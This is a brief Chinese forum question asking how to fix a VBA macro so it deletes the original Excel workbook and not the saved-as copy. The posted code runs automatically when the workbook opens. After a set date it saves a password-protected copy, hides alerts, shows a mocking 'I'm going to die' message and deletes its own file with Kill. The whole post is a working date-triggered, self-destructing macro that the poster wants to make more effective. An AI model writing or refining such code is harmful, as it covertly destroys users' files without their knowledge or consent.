VBA删除原工作表而不是删除另存为的工作表，请问代码应该怎么写

发布时间：2019-09-10 09:48:06

Sub Workbook_Open()

If Date >= "2017-10-1" Then
Workbooks.Add
ThisWorkbook.SaveAs "D:\wodebook.xls", Password:="nihao123"
End If
If Date >= "2017-10-1" Then
Application.DisplayAlerts = False
MsgBox "你好，二货！你相信Excel会成精吗？" & vbCr & "表哥我活够了，我要死了，再见~嘎嘎嘎嘎嘎~。"
With ThisWorkbook
.Saved = True
.ChangeFileAccess xlReadOnly
Kill .FullName
.Close
End With
End If